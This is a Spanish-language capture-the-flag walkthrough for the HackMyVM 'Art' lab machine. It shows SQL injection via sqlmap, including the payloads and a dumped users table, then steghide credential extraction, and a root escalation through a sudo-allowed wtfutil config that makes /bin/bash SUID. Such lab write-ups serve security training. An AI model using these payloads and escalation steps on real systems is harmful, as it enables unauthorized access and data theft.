Art HackMyVM (Easy - Linux)

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-19 03:22 EDT
Nmap scan report for 192.168.5.42
Host is up (0.00067s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 45:42:0f:13:cc:8e:49:dd:ec:f5:bb:0f:58:f4:ef:47 (RSA)
|   256 12:2f:a3:63:c2:73:99:e3:f8:67:57🆎29:52:aa:06 (ECDSA)
|_  256 f8:79:7a:b1:a8:7e:e9:97:25:c3:40:4a:0c:2f:5e:69 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
MAC Address: 08:00:27:44:E2:91 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.05 seconds

Veremos el puerto 80 que aloja una pagina web, si entramos a ella veremos varias imagenes pero nada interesantes, por lo que vamos a realizar un poco de fuzzing a ver que encontramos.

Gobuster

gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 50 -k -r

Info:

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.5.42/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 200) [Size: 170]

Pero no veremos nada interesante, si inspeccionamos el codigo de la pagina veremos lo siguiente:

<!-- Need to solve tag parameter problem. -->

Veremos que nos esta dando una pista del parametro tag por lo que vamos a intentar realizar una busqueda de algun LFI con dicho parametro.

Pero veremos que no tendremos exito por lo que vamos a probar a realizar un SQLi desde el parametro a ver si hay suerte.

sqlmap

Vamos abrir BurpSuite, desde la URL pondremos lo siguiente:

URL = http://<IP>/index.php?tag=sqli

Estando a la escucha de cualquier peticion con BurpSuite capturaremos la peticion dandole a enviar, quedando algo asi:

request.txt

GET /index.php?tag=sqli HTTP/1.1
Host: 192.168.5.42
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

Ahora vamos a ejecutar el sqlmap a ver si encuentra algo...

sqlmap -r request.txt --dbs --batch

Info:

        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.9.2#stable}
|_ -| . [,]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 03:28:24 /2025-06-19/

[03:28:24] [INFO] parsing HTTP request from 'request.txt'
[03:28:24] [INFO] testing connection to the target URL
[03:28:24] [INFO] checking if the target is protected by some kind of WAF/IPS
[03:28:24] [INFO] testing if the target URL content is stable
[03:28:25] [INFO] target URL content is stable
[03:28:25] [INFO] testing if GET parameter 'tag' is dynamic
[03:28:25] [WARNING] GET parameter 'tag' does not appear to be dynamic
[03:28:25] [WARNING] heuristic (basic) test shows that GET parameter 'tag' might not be injectable
[03:28:25] [INFO] testing for SQL injection on GET parameter 'tag'
[03:28:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[03:28:25] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[03:28:25] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[03:28:25] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[03:28:25] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[03:28:25] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[03:28:25] [INFO] testing 'Generic inline queries'
[03:28:25] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[03:28:25] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[03:28:25] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[03:28:25] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[03:28:35] [INFO] GET parameter 'tag' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[03:28:35] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[03:28:35] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[03:28:35] [INFO] target URL appears to be UNION injectable with 3 columns
[03:28:35] [INFO] GET parameter 'tag' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'tag' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 69 HTTP(s) requests:
---
Parameter: tag (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: tag=sqli' AND (SELECT 9943 FROM (SELECT(SLEEP(5)))KblS) AND 'bZbx'='bZbx

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: tag=sqli' UNION ALL SELECT NULL,CONCAT(0x71716b7071,0x51574e7344474e6e5a6d6f4641654d4b7a7744467477744d6b555775435062475542566b7a534b50,0x71766b7171),NULL-- -
---
[03:28:35] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.18.0
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[03:28:35] [INFO] fetching database names
available databases [2]:
[*] gallery
[*] information_schema

[03:28:35] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.5.42'

[*] ending @ 03:28:35 /2025-06-19/

Vemos que ha funcionado, por lo que nos interesa la DDBB llamada gallery, vamos a ver que tablas tiene.

sqlmap -r request.txt --dbs --batch -D gallery --threads 10 --tables

Info:

        ___
       __H__                                                                                                                                                 
 ___ ___[(]_____ ___ ___  {1.9.2#stable}                                                                                                                     
|_ -| . ["]     | .'| . |                                                                                                                                    
|___|_  [.]_|_|_|__,|  _|                                                                                                                                    
      |_|V...       |_|   https://sqlmap.org                                                                                                                 

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 03:32:18 /2025-06-19/

[03:32:18] [INFO] parsing HTTP request from 'request.txt'
[03:32:18] [INFO] resuming back-end DBMS 'mysql' 
[03:32:18] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: tag (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: tag=sqli' AND (SELECT 9943 FROM (SELECT(SLEEP(5)))KblS) AND 'bZbx'='bZbx

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: tag=sqli' UNION ALL SELECT NULL,CONCAT(0x71716b7071,0x51574e7344474e6e5a6d6f4641654d4b7a7744467477744d6b555775435062475542566b7a534b50,0x71766b7171),NULL-- -
---
[03:32:18] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.18.0
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[03:32:18] [INFO] fetching database names
available databases [2]:
[*] gallery
[*] information_schema

[03:32:18] [INFO] fetching tables for database: 'gallery'
Database: gallery
[2 tables]
+-------+
| art   |
| users |
+-------+

[03:32:18] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.5.42'

[*] ending @ 03:32:18 /2025-06-19/

Veremos que hay 2 tablas bastante interesantes, vamos a extraer la informacion de la de users a ver que vemos.

sqlmap -r request.txt --dbs --batch -D gallery -T users --threads 10 --dump

Info:

        ___
       __H__                                                                                                                                                 
 ___ ___["]_____ ___ ___  {1.9.2#stable}                                                                                                                     
|_ -| . [(]     | .'| . |                                                                                                                                    
|___|_  [.]_|_|_|__,|  _|                                                                                                                                    
      |_|V...       |_|   https://sqlmap.org                                                                                                                 

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 03:33:26 /2025-06-19/

[03:33:26] [INFO] parsing HTTP request from 'request.txt'
[03:33:26] [INFO] resuming back-end DBMS 'mysql' 
[03:33:26] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: tag (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: tag=sqli' AND (SELECT 9943 FROM (SELECT(SLEEP(5)))KblS) AND 'bZbx'='bZbx

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: tag=sqli' UNION ALL SELECT NULL,CONCAT(0x71716b7071,0x51574e7344474e6e5a6d6f4641654d4b7a7744467477744d6b555775435062475542566b7a534b50,0x71766b7171),NULL-- -
---
[03:33:26] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.18.0
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[03:33:26] [INFO] fetching database names
available databases [2]:
[*] gallery
[*] information_schema

[03:33:26] [INFO] fetching columns for table 'users' in database 'gallery'
[03:33:26] [INFO] fetching entries for table 'users' in database 'gallery'
Database: gallery
Table: users
[8 entries]
+----+-----------------+--------+
| id | pass            | user   |
+----+-----------------+--------+
| 1  | realpazz        | mina   |
| 2  | mncxzKLLJDS     | me     |
| 3  | 987dsKLDSOIU    | lula   |
| 4  | BDSAOIUYEW      | notme  |
| 5  | dsOIUSDAOydsa   | mona   |
| 6  | EWQUDSAdaSDSA=  | admin  |
| 7  | VCXddsaEWQdsa_D | lila   |
| 8  | DSAewqDSAewq    | root   |
+----+-----------------+--------+

[03:33:26] [INFO] table 'gallery.users' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.5.42/dump/gallery/users.csv'
[03:33:26] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.5.42'

[*] ending @ 03:33:26 /2025-06-19/

Veremos que tendremos varias credenciales, pero si las probamos por SSH veremos que no nos sirve ninguna, por lo que vamos a investigar la otra tabla de la DDBB.

sqlmap -r request.txt --dbs --batch -D gallery -T art --threads 10 --dump

Info:

        ___
       __H__                                                                                                                                                 
 ___ ___[)]_____ ___ ___  {1.9.2#stable}                                                                                                                     
|_ -| . [(]     | .'| . |                                                                                                                                    
|___|_  [)]_|_|_|__,|  _|                                                                                                                                    
      |_|V...       |_|   https://sqlmap.org                                                                                                                 

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 03:34:47 /2025-06-19/

[03:34:47] [INFO] parsing HTTP request from 'request.txt'
[03:34:47] [INFO] resuming back-end DBMS 'mysql' 
[03:34:47] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: tag (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: tag=sqli' AND (SELECT 9943 FROM (SELECT(SLEEP(5)))KblS) AND 'bZbx'='bZbx

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: tag=sqli' UNION ALL SELECT NULL,CONCAT(0x71716b7071,0x51574e7344474e6e5a6d6f4641654d4b7a7744467477744d6b555775435062475542566b7a534b50,0x71766b7171),NULL-- -
---
[03:34:47] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.18.0
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[03:34:47] [INFO] fetching database names
available databases [2]:
[*] gallery
[*] information_schema

[03:34:47] [INFO] fetching columns for table 'art' in database 'gallery'
[03:34:47] [INFO] fetching entries for table 'art' in database 'gallery'
Database: gallery
Table: art
[5 entries]
+----+-----------+---------------+
| id | tag       | image         |
+----+-----------+---------------+
| 1  | beautiful | abc321.jpg    |
| 2  | beautiful | jlk19990.jpg  |
| 3  | beautiful | ertye.jpg     |
| 4  | beautiful | zzxxccvv3.jpg |
| 5  | beauty    | dsa32.jpg     |
+----+-----------+---------------+

[03:34:47] [INFO] table 'gallery.art' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.5.42/dump/gallery/art.csv'
[03:34:47] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.5.42'

[*] ending @ 03:34:47 /2025-06-19/

Veremos que hay una imagen que nos llama la atencion y es la llamada dsa32.jpg ya que es la unica que en el tag tiene otro nombre, vamos a ver si podemos sacarla algo de informacion desde la propia imagen.

URL = http://<IP>/index.php?tag=beauty

Escalate user lion

steghide

Nos aparece dicha imagen, por lo que vamos a descargarnosla, una vez echo eso, vamos a utilizar la herramienta steghide para poder extraer algun archivo si contuviera alguno de esta forma.

steghide extract -sf dsa32.jpg

Dejamos la contraseña vacia...

Info:

Enter passphrase: 
wrote extracted data to "yes.txt".

Veremos que efectivamente nos extrajo un archivo llamado yes.txt, si lo leemos veremos que contiene lo siguiente:

lion/shel0vesyou

Vamos a probar dichas credenciales mediante el SSH.

SSH

ssh lion@<IP>

Metemos como contraseña shel0vesyou y veremos que estamos dentro.

Info:

Linux art 5.10.0-16-amd64 #1 SMP Debian 5.10.127-2 (2022-07-23) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Aug  3 11:18:18 2022 from 192.168.1.51
lion@art:~$ whoami
lion

Por lo que leeremos la flag del usuario.

user.txt

HMVygUmTyvRPWduINKYfmpO

Escalate Privileges

Si hacemos sudo -l veremos lo siguiente:

Matching Defaults entries for lion on art:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User lion may run the following commands on art:
    (ALL : ALL) NOPASSWD: /bin/wtfutil

Vemos que podemos ejecutar el binario wtfutil como el usuario root, por lo que podremos hacer lo siguiente.

Sabemos que el binario puede cargar archivos de configuracion en .yml por lo que si podemos ejecutarlo como root podremos crear un config.yml en el que ejecute un comando que nosotros queramos, vamos a buscar un ejemplo de .yml a ver que encontramos.

URL = Ejemplo de config.yml GitHub

En ese ejemplo podremos ver como ejecuta comandos desde la configuracion, por lo que nosotros vamos a crear algo asi.

cd /tmp
nano config.yml

#Dentro del nano
wtf:
  grid:
    columns: [50]
    rows: [3]
  mods:
    root_shell:
      type: cmdrunner
      cmd: "/bin/chmod"
      args: ["u+s", "/bin/bash"]
      enabled: true
      position:
        top: 0
        left: 0
        height: 1
        width: 1
      refreshInterval: 300

Lo guardamos y ejecutamos el binario wtfutil para que cargue dicha configuracion de la siguiente forma:

sudo /bin/wtfutil --config=/tmp/config.yml

Una vez que lo ejecutemos veremos que nos aparece una interfaz grafica en terminal de nuestro comando ejecutado y del codigo con numero 1 que significa que se ejecuto de forma exitosa, por lo que haremos Ctrl+C y probaremos a listar la bash.

ls -la /bin/bash

Info:

-rwsr-xr-x 1 root root 1234376 mar 27  2022 /bin/bash

Veremos que se ha ejecutado de forma correcta por lo que podremos ser root de esta forma.

bash -p

Info:

bash-5.1# whoami
root

Con esto ya seremos root, por lo que leeremos la flag de root.

root.txt

mZxbPCjEQYOqkNCuyIuTHMV

Last updated